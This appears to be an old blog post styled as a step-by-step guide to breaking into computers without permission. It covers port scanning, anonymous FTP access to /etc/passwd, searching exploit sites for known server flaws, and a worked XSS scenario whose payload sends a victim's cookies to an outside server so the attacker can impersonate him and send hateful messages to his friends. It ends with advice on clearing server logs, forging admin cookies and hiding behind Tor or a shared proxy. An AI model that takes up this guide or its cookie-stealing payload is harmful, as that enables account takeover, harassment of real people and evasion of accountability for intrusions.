*****How to Hack a Computer*****
Table of Contents
Chapter 1: Preperation.
Chapter 2: Analysis.
Chapter 3: Testing for a vulnerability.
Chapter 4: Exploitation of said vulnerability.
Chapter 5: Covering your tracks.
Disclaimer: I, Stormc1nd3r, take NO RESPONSIBILITY whatsoever for what you do with
the information that is written in this guide, which was written for general matters of interest & legitimate use ONLY!
Preface: This guide assumes you know the basics, e.g. Javascript injections, XSS
cookie exploitation, directory navigation, etc, but need a way to put it all together.
Feel free to post this guide wherever, but please leave a link to HvS/SO. www.securityoverride.com
Chapter 1: Preperation.
First, you need software, all the software listed can be found with a simple Google search.
Cain & Abel
Putty
Nmap
Firefox (Firefox addons are in {.)
{Add N Edit Cookies
Firebug
Live HTTP headers
NoScript
SQL Injections
Tamper Data
URLParams
User Agent Switcher
Web Developer}
Net Tools
Wireshark
TOR
XeroBank Browser
Perl
Python
PHP
If you need more general hacking skills, check out the HvS challenges, as well as w3schools.com.
Chapter 2: Analysis.
All good hacking begins with analysis. Start by doing a scan on your target using Nmap.
Take note of all the information you get, it will be useful. The ports it runs & the OS it uses will be useful when searching for vulnerabilities on the system.
Next, decide what port you want to attack, but make sure you know how the protocol that the port runs works. Once you've connected, try to learn all you can about
the system, usally the server will tell you what software is used to run it, look it up on Milw0rm.com. Try using the "help" command once connected. Check the page source for
forms, directories, clues as to what software the server uses,
for example, a server might use Perl, you could because you would see files or directories
that end in .pl. Make sure to write down EVERY clue you get, what computer languages the server uses, what version of Apache, etc. (try going to www.example.com/images, usally at the bottom
of the page it will tell you what version of Apache it runs.) as stated before, visiting the server on different ports is a good & fast way to pick up clues. If the server has an open FTP server, (port 21)
try logging in as anonymous without entering anything as a password. If you get in, visit the directorie /etc and the sub-directories /group/ and /passwd/ for information on the users on the server.
Make sure to try every port on the site, even if it doesn't seem important, if you connect to the port, it will usally tell you what software it's running, this can often be exploited with a simple Milw0rm.com search. Also, be careful!
Sites often leave honeypots (bait). For example: you connect to a server on port 25 (SMTP), you use the "help" command to see what commands the server allows, you see that the server allows the "debug" command, which you know can often be exploited, so you run the command, and get kicked off the server,
and get IP banned.
Chapter 3: Testing for an exploit.
Once you have found a good clue which you think will be useful in hacking into the server, you should generally test it out before searching around more. Here's an attack scenario: Tom's rival, Huck, recently made an account on an online social networking site. Tom wants to log in as Huck, and send rude pms to Huck's friends.
He then goes of the server with a proverbeal fine-toothed comb. He notices that there's a form that is used to send other users messages. Tom decides to check to see
if the form is vulnerable to XSS attacks. To test it out, he sends himself a message with a basic script in it the script reads: alert("BOO!").
When he opens the message, a Javascript alert reading "BOO!" pops up. Tom now knows that it IS indeed vulnerable to XSS attacks. He sends Huck a Message with the following script in it:document.location="http://bla.com/cookie.php?c=" + document.cookie
When Huck opens the message, he sends him to a location on Tom's server which contains a PHP script, which steals Huck's cookies, and redirects Huck to a different site. Tom uses
Javascript to change his cookies to match Huck's, which effectively logs him in AS Huck. He then sends hateful messages to Huck's friends, strongly damaging his personal life. This is only a basic example, but it
shows how critical research is. Here's another example, in which a tiny sliver on information leads to the downfall of the server: you find out that the server you want
destroyed, defaced, pillages, haxxored, or otherwise illegaly abused, uses Apache 1.2.3. You go to Milw0rm.com and search "Apache 1.2.3". You find an article containing how to exploit that version of Apache
to login as an administrator. You launch the exploit & get in. See the difference made by the tiny shard of information?
Basicly, if you find something interesting on a site, be it possibly exploitable software, a shoutbox, or a possibly XSS vulnerable form, you need to do research on it to see if it can be used for your own benefit. Sometimes you can test this yourself, like in the above example,
but often you won't know how to exploit what the server is running (like say your clue is subtle, like the version of Apache the server runs), you can try a Google search,
like say "Apache 1.1.12 exploit". Or you can try searching on a security-based site like securityfocus.com or Milw0rm.com.
List of items to check for on every server.
- Ports.
- Source of all critical looking pages, if site is small, then every page.
- Check the at cookies different times on the site. While logged in, while logged out, etc.
- Check the headers of the important pages on the site.
- If you find a directory list, be sure to look around well, and try default password directories.
- Try searching a feature you find on the site on Milw0rm. For example, if the site uses PHP, look for PHP exploits. (This goes for other languages too.)
- Try typing the website url into your browser, but instead of http:// use ftp://. If asked for a username & password, use this: Username:anonymous Passoword:
Chapter 4: Exploiting the vulnerability.
This is going to be a short chapter this the actual exploitment is pretty straightfoward
once you've found the vulnerability. Just use the attack you researched on the site, and be quick about it.
Make your plans for what you'll do when you've exploited the vulnerability before you break in.
Chapter 5: Covering your tracks.
There are many ways to avoid getting caught, even if you have permission,
you might want to do this just to prove that you know what you're doing. If you're a student, you might be required to do this to pass. Generally, the
best way to cover your tracks is never to have left them. Download XeroBank,http://xerobank.com/, (Firefox with built-in TOR),
or use a web based proxy, if you choose the latter, I recommend hvs.php-invent.com/prox. The user is hvs, the pass is proxy.
But if you DID leave tracks, then look around the server for logs, if you gained admin privledges it should
be no problem to clear them. URL Params for Firefox is a useful tool for log clearing. If you find a "clear logs" button, but it doesn't work, check your cookies for something
along the lines of "authorized" or "admin" and change the value to 1. You can also try injecting the logs command with Javascript, or trick someone who can into doing it.
Keep Rocking, Keep Hacking
No comments:
Post a Comment